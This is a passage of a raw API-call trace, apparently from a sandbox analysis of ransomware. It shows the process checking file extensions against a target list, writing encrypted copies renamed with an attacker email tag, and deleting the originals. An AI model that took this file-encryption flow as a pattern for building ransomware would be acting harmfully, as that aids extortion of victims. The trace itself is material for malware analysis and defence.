lpString2=".rtf") returned -1 [0063.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.410] lstrlenW (lpString=".1cd") returned 4 [0063.410] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.410] lstrlenW (lpString=".jpg") returned 4 [0063.410] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.410] lstrlenW (lpString=".doc") returned 4 [0063.410] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.410] lstrlenW (lpString=".docx") returned 5 [0063.410] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.410] lstrlenW (lpString=".pdf") returned 4 [0063.410] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.410] lstrlenW (lpString=".xls") returned 4 [0063.411] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.411] lstrlenW (lpString=".xlsx") returned 5 [0063.411] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.411] lstrlenW (lpString=".ppt") returned 4 [0063.411] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.411] lstrlenW (lpString=".zip") returned 4 [0063.411] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.411] lstrlenW (lpString=".rar") returned 4 [0063.411] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.411] lstrlenW (lpString=".bz2") returned 4 [0063.411] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.411] lstrlenW (lpString=".7z") returned 3 [0063.411] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.411] lstrlenW (lpString=".dbf") returned 4 [0063.411] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.411] lstrlenW (lpString=".1cd") returned 4 [0063.411] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.411] lstrlenW (lpString=".jpg") returned 4 [0063.411] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.411] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0063.411] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.411] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.411] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=82346) returned 1 [0063.412] CloseHandle (hObject=0x2f4) returned 1 [0063.412] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0063.412] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.412] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.412] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.412] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.412] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.412] GetLastError () returned 0x0 [0063.412] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x141aa, lpOverlapped=0x0) returned 1 [0063.415] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x141b0, lpOverlapped=0x0) returned 1 [0063.418] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.418] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf6, lpOverlapped=0x0) returned 1 [0063.418] SetEndOfFile (hFile=0x31c) returned 1 [0063.418] CloseHandle (hObject=0x31c) returned 1 [0063.421] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.421] SetEndOfFile (hFile=0x2f4) returned 1 [0063.422] CloseHandle (hObject=0x2f4) returned 1 [0063.422] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.422] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0063.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.422] lstrlenW (lpString=".doc") returned 4 [0063.423] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.423] lstrlenW (lpString=".docx") returned 5 [0063.423] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.423] lstrlenW (lpString=".pdf") returned 4 [0063.423] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.423] lstrlenW (lpString=".xls") returned 4 [0063.423] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.423] lstrlenW (lpString=".xlsx") returned 5 [0063.423] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.423] lstrlenW (lpString=".ppt") returned 4 [0063.423] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.423] lstrlenW (lpString=".zip") returned 4 [0063.423] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.423] lstrlenW (lpString=".rar") returned 4 [0063.423] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.423] lstrlenW (lpString=".bz2") returned 4 [0063.423] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.423] lstrlenW (lpString=".7z") returned 3 [0063.423] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.423] lstrlenW (lpString=".dbf") returned 4 [0063.423] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.423] lstrlenW (lpString=".1cd") returned 4 [0063.423] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.423] lstrlenW (lpString=".jpg") returned 4 [0063.423] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.423] lstrlenW (lpString=".doc") returned 4 [0063.423] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.423] lstrlenW (lpString=".docx") returned 5 [0063.424] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.424] lstrlenW (lpString=".pdf") returned 4 [0063.424] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.424] lstrlenW (lpString=".xls") returned 4 [0063.424] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.424] lstrlenW (lpString=".xlsx") returned 5 [0063.424] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.424] lstrlenW (lpString=".ppt") returned 4 [0063.424] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.424] lstrlenW (lpString=".zip") returned 4 [0063.424] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.424] lstrlenW (lpString=".rar") returned 4 [0063.424] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.424] lstrlenW (lpString=".bz2") returned 4 [0063.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.424] lstrlenW (lpString=".7z") returned 3 [0063.424] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.424] lstrlenW (lpString=".dbf") returned 4 [0063.424] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.424] lstrlenW (lpString=".1cd") returned 4 [0063.424] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0063.424] lstrlenW (lpString=".jpg") returned 4 [0063.424] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.425] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0063.425] lstrlenW (lpString="eula.rtf") returned 8 [0063.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.426] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=8876) returned 1 [0063.426] CloseHandle (hObject=0x2f4) returned 1 [0063.426] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0063.426] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.426] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.426] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.428] GetLastError () returned 0x0 [0063.428] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x22ac, lpOverlapped=0x0) returned 1 [0063.430] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0063.432] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.432] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe4, lpOverlapped=0x0) returned 1 [0063.432] SetEndOfFile (hFile=0x31c) returned 1 [0063.432] CloseHandle (hObject=0x31c) returned 1 [0063.433] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.433] SetEndOfFile (hFile=0x2f4) returned 1 [0063.434] CloseHandle (hObject=0x2f4) returned 1 [0063.434] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.434] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0063.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.435] lstrlenW (lpString=".doc") returned 4 [0063.435] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.435] lstrlenW (lpString=".docx") returned 5 [0063.435] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.435] lstrlenW (lpString=".pdf") returned 4 [0063.435] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.435] lstrlenW (lpString=".xls") returned 4 [0063.435] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.435] lstrlenW (lpString=".xlsx") returned 5 [0063.435] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.435] lstrlenW (lpString=".ppt") returned 4 [0063.435] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.435] lstrlenW (lpString=".zip") returned 4 [0063.435] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.435] lstrlenW (lpString=".rar") returned 4 [0063.435] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.435] lstrlenW (lpString=".bz2") returned 4 [0063.435] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.435] lstrlenW (lpString=".7z") returned 3 [0063.435] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.435] lstrlenW (lpString=".dbf") returned 4 [0063.436] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.436] lstrlenW (lpString=".1cd") returned 4 [0063.436] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.436] lstrlenW (lpString=".jpg") returned 4 [0063.436] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.436] lstrlenW (lpString=".doc") returned 4 [0063.436] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.436] lstrlenW (lpString=".docx") returned 5 [0063.436] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.436] lstrlenW (lpString=".pdf") returned 4 [0063.436] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.436] lstrlenW (lpString=".xls") returned 4 [0063.436] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.436] lstrlenW (lpString=".xlsx") returned 5 [0063.436] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.436] lstrlenW (lpString=".ppt") returned 4 [0063.436] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.436] lstrlenW (lpString=".zip") returned 4 [0063.436] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.436] lstrlenW (lpString=".rar") returned 4 [0063.436] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.436] lstrlenW (lpString=".bz2") returned 4 [0063.436] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.436] lstrlenW (lpString=".7z") returned 3 [0063.436] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.436] lstrlenW (lpString=".dbf") returned 4 [0063.437] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.437] lstrlenW (lpString=".1cd") returned 4 [0063.437] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0063.437] lstrlenW (lpString=".jpg") returned 4 [0063.437] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.437] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0063.437] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.437] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.437] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=86284) returned 1 [0063.437] CloseHandle (hObject=0x2f4) returned 1 [0063.437] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0063.437] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.437] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.438] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.438] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.438] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.438] GetLastError () returned 0x0 [0063.438] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1510c, lpOverlapped=0x0) returned 1 [0063.777] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x15110, lpOverlapped=0x0) returned 1 [0063.886] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.886] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf6, lpOverlapped=0x0) returned 1 [0063.886] SetEndOfFile (hFile=0x31c) returned 1 [0063.886] CloseHandle (hObject=0x31c) returned 1 [0063.889] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.889] SetEndOfFile (hFile=0x2f4) returned 1 [0063.890] CloseHandle (hObject=0x2f4) returned 1 [0063.890] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.891] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0063.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.891] lstrlenW (lpString=".doc") returned 4 [0063.891] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.891] lstrlenW (lpString=".docx") returned 5 [0063.891] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.891] lstrlenW (lpString=".pdf") returned 4 [0063.891] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.891] lstrlenW (lpString=".xls") returned 4 [0063.891] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.891] lstrlenW (lpString=".xlsx") returned 5 [0063.891] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.891] lstrlenW (lpString=".ppt") returned 4 [0063.891] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.891] lstrlenW (lpString=".zip") returned 4 [0063.891] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.892] lstrlenW (lpString=".rar") returned 4 [0063.892] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.892] lstrlenW (lpString=".bz2") returned 4 [0063.892] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.892] lstrlenW (lpString=".7z") returned 3 [0063.892] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.892] lstrlenW (lpString=".dbf") returned 4 [0063.892] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.892] lstrlenW (lpString=".1cd") returned 4 [0063.892] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.892] lstrlenW (lpString=".jpg") returned 4 [0063.892] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.892] lstrlenW (lpString=".doc") returned 4 [0063.892] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.892] lstrlenW (lpString=".docx") returned 5 [0063.892] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.892] lstrlenW (lpString=".pdf") returned 4 [0063.892] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.892] lstrlenW (lpString=".xls") returned 4 [0063.892] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.892] lstrlenW (lpString=".xlsx") returned 5 [0063.892] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.892] lstrlenW (lpString=".ppt") returned 4 [0063.892] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.892] lstrlenW (lpString=".zip") returned 4 [0063.892] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.892] lstrlenW (lpString=".rar") returned 4 [0063.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.893] lstrlenW (lpString=".bz2") returned 4 [0063.893] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.893] lstrlenW (lpString=".7z") returned 3 [0063.893] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.893] lstrlenW (lpString=".dbf") returned 4 [0063.893] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.893] lstrlenW (lpString=".1cd") returned 4 [0063.893] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0063.893] lstrlenW (lpString=".jpg") returned 4 [0063.893] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.893] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0063.893] lstrlenW (lpString="eula.rtf") 